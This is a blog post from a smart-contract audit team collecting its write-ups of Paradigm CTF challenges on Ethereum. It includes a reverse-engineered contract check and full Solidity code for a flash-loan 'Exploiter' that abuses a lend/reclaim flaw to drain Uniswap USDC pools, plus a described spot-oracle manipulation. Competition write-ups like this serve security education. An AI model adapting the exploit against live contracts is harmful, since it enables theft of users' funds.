Paradigm CTF Winner

Diligence team won the first place at Paradigm Capture the Flag competition
Lazy Author
This blog post is a mash-up of all the write ups done by the great individuals at Dilicious Team. I solely gathered all the information in this post, with slight modifications to the text.

Introduction 1

Paradigm, a crypto-focused investment firm, hosted a capture-the-flag style competition over the past weekend with over $10,000 in prizes split among the top three teams. Our team, Dilicious, competed and took first place, solving 15 out of a possible 17 challenges.

If you aren’t familiar with the term, a capture-the-flag (CTF) competition is a cyber-security challenge where participants exploit vulnerabilities to achieve goals (analogous to capturing the flag in meatspace.)

This particular competition was focused on the Ethereum blockchain and related technologies.

Our Team

Our team, in alphabetical order by the first letters of our Twitter usernames:

Babyrev

If I don’t verify my source code, then hackers can’t exploit my contract, right?

We have two nice write ups for this challenge, one really complete write up by Sam Wilson on his blog, and another by Ansgar Dietrichs3:

This was the problem we spent by far the most time on. It consists of a Challenge contract without source code, with an internal flag that has to be set to true. We ended up manually annotating the entire opcode-level path from contract start to the only contract SSTORE. You can find our annotated version here. In total, we annotated 521 opcodes with 5078 stack items. At the end, we were able to reconstruct the logic of the solve(uint256) function responsible for setting the contract flag:

// permutation array, constisting of all 256 bytes 0x00 - 0xff in scrambled order
a_arr = hex"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16"
// target string
t_str = hex"504354467b763332795f3533637532335f336e633279703731306e5f34313930323137686d7d"
// base string
b_str = hex"311dfa5451963f33b16e63f0c62278c9b907e43d1961cdf9f590a0c3b351c04019cccb831403"
// initial "weird" uint256
weird = input_arg

for (i = 0; i < len(b_str); i++) {
    weird_byte = weird && 0xff          // least significant byte of weird
    b_str[i] ^= weird_byte              // xor base string byte with it

    new_weird = 0x00                    // build next weird byte-by-byte
    for (j = 0; j < 32 * 8; j += 8) {
        perm_idx = (weird >> j) && 0xff // use j-th byte of previous weird
        elem = a_arr[perm_idx]          // permute via permutation array
        new_weird |= elem << j          // add new byte to the left of new_weird
    }
    // roll new_weird by one byte to the right
    weird = (new_weird && 0xff) << 31 * 8 | new_weird >> 8
}

target_hash = sha3(t_str)               // constant
our_hash = sha3(b_str)                  // xor result, dependent on input_arg

if (target_hash == our_hash) {
    set_solved_flag()                   // flag is queried by Setup contract
}

With that, we were able to calculate the input value required for the xor’d base string to equal the target string.

Upgrade 3

Circle released a new update to USDC but something seems off. Can you take a look?

This was my personal favorite - when else do you have the chance to (ethically) steal $200M?

The challenge consists of an upgraded FiatTokenV3 version of the USDC token contract, introducing a new lending mechanism. The way the lending mechanism works is rather simple:

function lend(address to, uint amount) external returns (bool) {
    _loans[msg.sender][to] = _loans[msg.sender][to].add(amount);
    _transfer(msg.sender, to, amount);
    return true;
}

function reclaim(address from, uint amount) external returns (bool) {
    _loans[msg.sender][from] = _loans[msg.sender][from].sub(amount, "FiatTokenV3: decreased loans below zero");
    _transfer(from, msg.sender, amount);
    return true;
}

Importantly, the lend function results in a normal transfer of funds to the borrower. For contracts not aware of the functionality, it looks like they are now the proper owner of these funds. However, the lender can unilaterally reclaim the loan at any time, as long as the borrower has sufficient funds in their account.

This can be easily exploited via flash loans (remember, we are on a fresh fork of mainnet). Importantly, for it to be exploitable, the flash loan has to use a push pattern where the user actively re-pays the funds at the end of the transaction (as opposed to a pull pattern where the user only authorizes the repayment and the calls into the flash loan contract to close the position). Aave v1 used such a push pattern, but does not quite have the required $200M USDC liquidity anymore. Aave v2 and dYdX use a pull pattern. Luckily, Uniswap v2 uses a push pattern, and across its largest 3 USDC pairs offers sufficient liquidity. We ended up with the following Exploiter contract:

contract Exploiter {
    FiatTokenV3 public constant USDC = FiatTokenV3(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IWETH9 public constant WETH = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IUniswapV2Pair public constant USDCWETH = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);

    // convenience function for initial funding to pay for flash loan fees
    function swap(uint256 amount) external payable {
        uint256 value = msg.value;
        WETH.deposit{value: value}();
        WETH.transfer(address(USDCWETH), value);
        USDCWETH.swap(amount, 0, address(this), hex"");
    }

    // starting point of the exploit, triggered once per USDC Uniswap pair
    function exploit(IUniswapV2Pair pair, uint256 amount0, uint256 amount1) external {
        pair.swap(amount0, amount1, address(this), hex"00");
        uint256 paid = (amount0 + amount1) * 1004 / 1000;
        USDC.reclaim(address(pair), paid);
    }

    // callback from Uniswap flash loan
    function uniswapV2Call(address, uint amount0, uint amount1, bytes calldata) external {
        uint256 topay = (amount0 + amount1) * 1004 / 1000;
        USDC.lend(msg.sender, topay);
    }

    // withdraw funds at the end
    function withdraw(address to, uint256 amount) external {
        USDC.transfer(to, amount);
    }
}

With this, the steps for the exploits were:

  1. deploy Exploiter
  2. use swap to fund the exploiter with some USDC
  3. for each of the 3 largest USDC pairs, call exploit to steal (most of) the pair’s USDC reserves
  4. withdraw the $200M USDC to the Setup contract

Vault

Smarter Contracts Inc. is releasing our new smart contract vaults featuring our patented SmartGuard™ technology. You can sleep easy knowing our secure code is keeping the hackers away from your precious coins.

I won’t try to summarize the solution to this challenge, Steve Marx did a great write up on his blog which I highly recommend you to read: Writeup of Paradigm CTF: Vault

JOP

Reentrancy is so boring, how about some jop?

JOP was one of the two unsolved challenges at the end of the competition. Here’s a video from our one and only Ansgar Dietrichs solving this challenge on a live stream:

Broker4

This broker has pretty good rates

The broker challenge was less about hacking the code and more about hacking the financial assumptions the code makes. This challenge looks quite similar to the 1st bZx hack and many of the other spot price oracle exploits that have happened over the last year. Samczsun has a great post about spot oracle exploits you can read here.

The basis of this exploit is exactly as Sam described in his blog post. There is a broker contract that relies on a Uniswap pair’s exchange rate to determine a loan’s LTV and for token to ETH redemption in the case of a liquidation. So an attacker can atomically make a huge trade on the pool, pushing up the price of the token, allowing it to be redeemed for far more ETH on liquidation.This will only cost them the LP fees of the trade both ways Moral of the story is to not use spot oracles.

You can find the exploit code written in Javascript here.

Other Challenges:


Most Effective Auditor in the Industry
Thinking about smart contract security or want your DApp audited? Better contact the most effective auditors in the industry.

All posts chevronRight icon

`